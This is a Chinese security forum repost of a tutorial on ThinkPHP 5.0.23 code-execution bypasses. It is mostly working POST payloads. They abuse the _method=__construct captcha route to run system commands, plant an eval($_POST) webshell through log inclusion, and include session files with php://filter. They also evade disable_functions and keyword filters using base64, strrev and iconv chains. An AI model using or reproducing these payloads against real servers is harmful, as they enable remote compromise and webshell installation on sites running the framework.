安全矩阵

 找回密码
 立即注册
搜索
查看: 1685|回复: 0

TP代码执行绕过

[复制链接]

181

主题

182

帖子

721

积分

高级会员

Rank: 4

积分
721
发表于 2022-6-26 23:27:58 | 显示全部楼层 |阅读模式
本帖最后由 wangqiang 于 2022-6-26 23:34 编辑

TP代码执行绕过
原创 暗月小徒弟 moonsec
2022-06-25 14:05 发表于广东
转载地址:TP代码执行绕过

TP代码执行绕过
1 常见利用方式
TP5.0.23 method代码执行,payload
http://localhost:82/public/index.php?s=captcha
  1. _method=__construct&filter[]=system&method=get&server[1]=whoami&get[]=1
复制代码

正常执行命令

写shell的两种方式,日志包含和session包含
利用日志包含
http://localhost:82/public/index.php?s=captcha
  1. _method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=<?php eval($_POST['x'])?>


  2. _method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=../runtime/log/202206/22.log&x=phpinfo();
复制代码



disable_function禁用了一些函数的利用方式,这里跟着文章走
  1. passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status
  2. ,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru
  3. ,stream_socket_server
复制代码

2php://filter伪协议
注:下面的session我是用的是phpstudy环境生成的session,没搞定TP生成的session文件
需要先知道前面有多少位,才可以对其进行字符拼凑
使用TP的session包含写shell,因为session的话生成的字符会相比较于日志量少

/public/index.php?s=captcha
  1. _method=__construct&filter[]=think\Session::set&method=get&get[]=PD9waHAgcGhwaW5mbygpOz8+&server[]=1PD9waHAgcGhwaW5mbygpOz8+=<?php phpinfo();?>
复制代码
在base64解密的时候是按照4byte一组,生成的base编码正好是4的倍数。
这个是生成的session,在解密的时候虽然只会解密base64加密的内容
  1. think|a:6:{s:24:"PD9waHAgcGhwaW5mbygpOz8+";s:0:"";s:11:"__construct";s:0:"";s:18:"think\Session::set";s:0:"";s:3:"get";s:0:"";i:1;s:0:"";s:0:"";s:0:"";}d2d977c58444271d9c780187e93f80e5|a:2:{s:11:"verify_code";s:32:"837af34ca3576d542c444ca1536a847f";s:11:"verify_time";i:1655990627;}
复制代码
php在解密base64时,会将<、?、>、;空格等一共7个字符忽略,所以在这里需要将这些字符拼接一下。当然还是4byte一组
PD9waHAgcGhwaW5mbygpOz8+ => <?php phpinfo();?>
abPD9waHAgcGhwaW5mbygpOz8%2ba`这样就是说(ab<?)、(phpp)、(hpin)、(fo())、(;?>a)一组

这里需要将+改为url编码,否则写入之后就是空格
/public/index.php?s=captcha
​​​​​​​
  1. _method=__construct&filter[]=think\Session::set&method=get&get[]=abPD9waHAgcGhwaW5mbygpOz8%2ba&server[]=1
  2. _method=__construct&method=get&filter[]=think\__include_file&server[]=1&get[]=php://filter/read=convert.base64-decode/resource=D:\phpstudy_pro\Extensions\tmp\tmp\sess_ioep6r806n3n5uhb6150go57rp
复制代码
  1. think|a:6:{s:27:"abPD9waHAgcGhwaW5mbygpOz8+a";s:0:"";s:11:"__construct";s:0:"";s:18:"think\Session::set";s:0:"";s:3:"get";s:0:"";i:1;s:0:"";s:0:"";s:0:"";}d2d977c58444271d9c780187e93f80e5|a:2:{s:11:"verify_code";s:32:"7b47664802dab9bb44f3e1cd410516b3";s:11:"verify_time";i:1655993543;}
复制代码

包含成功

日志包含不能使用这种操作,可能是因为每次请求都会留下一些换行特殊字符之类的操作把

就是绕过php://关键字
在TP代码中$filters是一个数组,也就是可以传递多个参数。传递多个filter svalue进行多次处理。

在这里加了一层解码器,可以成功包含文件
  1. _method=__construct&method=get&filter[]=base64_decode&filter[]=think\__include_file&server[]=1&get[]=cGhwOi8vZmlsdGVyL3JlYWQ9Y29udmVydC5iYXNlNjQtZGVjb2RlL3Jlc291cmNlPUQ6XHBocHN0dWR5X3Byb1xFeHRlbnNpb25zXHRtcFx0bXBcc2Vzc19pb2VwNnI4MDZuM241dWhiNjE1MGdvNTdycA==
复制代码


使用二位反转strrev函数
  1. _method=__construct&method=get&filter[]=strrev&filter[]=think\__include_file&server[]=1&get[]=pr75og0516bhu5n3n608r6peoi_sses\pmt\pmt\snoisnetxE\orp_ydutsphp\:D=ecruoser/edoced-46esab.trevnoc=daer/retlif//:php
复制代码


如果还怕绕不过去,加一层base64编码,或者两层base64编码
  1. _method=__construct&method=get&filter[]=base64_decode&filter[]=strrev&filter[]=think\__include_file&server[]=1&get[]=cHI3NW9nMDUxNmJodTVuM242MDhyNnBlb2lfc3Nlc1xwbXRccG10XHNub2lzbmV0eEVcb3JwX3lkdXRzcGhwXDpEPWVjcnVvc2VyL2Vkb2NlZC00NmVzYWIudHJldm5vYz1kYWVyL3JldGxpZi8vOnBocA==
复制代码


二位反转也可以在读取的时候使用伪协议,但这里只能是二位反转的内容

再或者使用二位反转+base64编码

因为php://filter是支持多个过滤器的
  1. _method=__construct&method=get&filter[]=think\__include_file&server[]=1&get[]=php://filter/read=convert.base64-decode|convert.iconv.UCS-2LE.UCS-2BE/resource=D:\phpstudy_pro\Extensions\tmp\tmp\sess_fit058580t0ss9d7l81fd9d3ak
复制代码










回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-4-20 10:42 , Processed in 0.015174 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表